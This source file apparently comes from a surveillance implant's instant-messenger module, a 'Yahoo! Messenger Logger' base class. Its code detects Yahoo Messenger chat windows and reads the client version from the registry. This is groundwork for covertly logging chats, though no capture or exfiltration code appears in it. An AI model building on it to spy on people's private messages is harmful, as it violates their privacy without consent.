hackedteam/core-win32

View on GitHub
HM_IMAgent/QYim.cpp

Summary

Maintainability
Test Coverage
/*
* Yahoo! Messenger Logger, base class
*
* Coded by: Quequero
* Date: 14/Mar/2008
*
*/

#include <string>
#include <vector>
#include <exception>
using namespace std;

#include "QYim.h"
#include "QAgent.h"
#include "..\common.h"
QYim::QYim()
{
    hwMain = hwChat = hwUserList = hwLogin = hwContacts = hwHistory = NULL;
}

/**
* Torna TRUE se la finestra identificata dall'hwnd contenuto in QProperty appartiene a Yahoo! Messenger
*/
BOOL QYim::Is(HWND hw)
{
    UINT i = 1, uVer = 0;
    WCHAR wClassName[256] = {0};
    WCHAR wTitle[256] = {0};
    HWND hTmp;

    // YMsg < 10.0
    PWCHAR pwClass[] = {
        L"YSearchMenuWndClass",
        L"IMClass",
        L"YHTMLContainer",
        L"Internet Explorer_Server",
        0
    };

    // YMgs == 10.0
    PWCHAR pwClass10[] = {
        L"CConvWndBase",
        L"YHTMLContainer",
        L"Internet Explorer_Server",
        0
    };

    hTmp = hw;

    if (FNC(GetClassNameW)(hw, wClassName, 256) == 0)
        return FALSE;

    // YMsg < 10.0
    if (!wcsncmp(wClassName, pwClass[0], wcslen(wClassName))) {
        uVer = 9;
    }

    // YMsg == 10.0
    if (uVer == 0 && !wcsncmp(wClassName, pwClass10[0], wcslen(wClassName))) {
        uVer = 10;
    }

    // Non siamo riusciti ad identificare la versione
    if (uVer == 0)
        return FALSE;

    // Scorriamo l'albero (YIM 9 o precedenti)
    i = 1;

    if (uVer == 9) {
        while (pwClass[i] != 0) {
            hTmp = FNC(FindWindowExW)(hTmp, NULL, pwClass[i], NULL);

            if (hTmp == NULL)
                return FALSE;

            i++;
        }
    }

    // YIM 10
    i = 1;

    if (uVer == 10) {
        while (pwClass10[i] != 0) {
            hTmp = FNC(FindWindowExW)(hTmp, NULL, pwClass10[i], NULL);

            if (hTmp == NULL)
                return FALSE;

            i++;
        }
    }

    return TRUE;
}

UINT QYim::Version(const HWND hw)
{
    UINT uVersion;
    BYTE bVersion;

    uVersion = VersionEx(NULL);
    bVersion = (BYTE)((uVersion & 0xff000000) >> 24);

    switch(bVersion) {
        case 0x0A:
            return YIM_10;

        case 0x09:
        case 0x08:
            return YIM_8;

        case 0x07:
            return YIM_7;

        default:
            return UNKNOWN_VERSION;
    }

    return UNKNOWN_VERSION;
}

// Yim: HKEY_CURRENT_USER\Software\Yahoo\pager\Version
// La versione di Yim e' storata in questo modo: x.x.x.xxx, a noi interessano
// solo la major e minor version che vengono messe in un UINT (bit piu' significativo
// == major), per il momento i 16 bit inferiori dell'UINT ritornato sono settati a
// 0. Quindi la versione 8.1.0.421 sara' identificata come: 0x08010000
UINT QYim::VersionEx(const HWND hw)
{
    HKEY hKey;
    WCHAR wVersion[20] = {0}, wTmp[20] = {0};
    PWCHAR pwVer;
    DWORD dSize = sizeof(wVersion);
    UINT uVersion = 0, uLen, uTmp;

    if(FNC(RegOpenKeyExW)(HKEY_CURRENT_USER, L"Software\\Yahoo\\pager", NULL, KEY_QUERY_VALUE, &hKey) != ERROR_SUCCESS)
        return UNKNOWN_VERSION;

    if(FNC(RegQueryValueExW)(hKey, L"Version", NULL, NULL, (LPBYTE)&wVersion, &dSize) != ERROR_SUCCESS){
        FNC(RegCloseKey)(hKey);
        return UNKNOWN_VERSION;
    }

    FNC(RegCloseKey)(hKey);

    pwVer = wcschr(wVersion, '.');

    if(pwVer == NULL)
        return UNKNOWN_VERSION;

    uLen = pwVer - wVersion;
    memcpy(wTmp, wVersion, uLen * sizeof(WCHAR));
    uTmp = _wtoi(wTmp);
    uVersion = uTmp << 24;

    pwVer++;
    pwVer = wcschr(pwVer, '.');

    if(pwVer == NULL)
        return uVersion;

    uLen = pwVer - wVersion - uLen - 1;
    memcpy(wTmp, pwVer - uLen, uLen * sizeof(WCHAR));
    uTmp = _wtoi(wTmp);
    uVersion |= (uTmp << 16);

    return uVersion;
}

const PWCHAR QYim::GetMessenger()
{ 
    return L"Yim"; 
}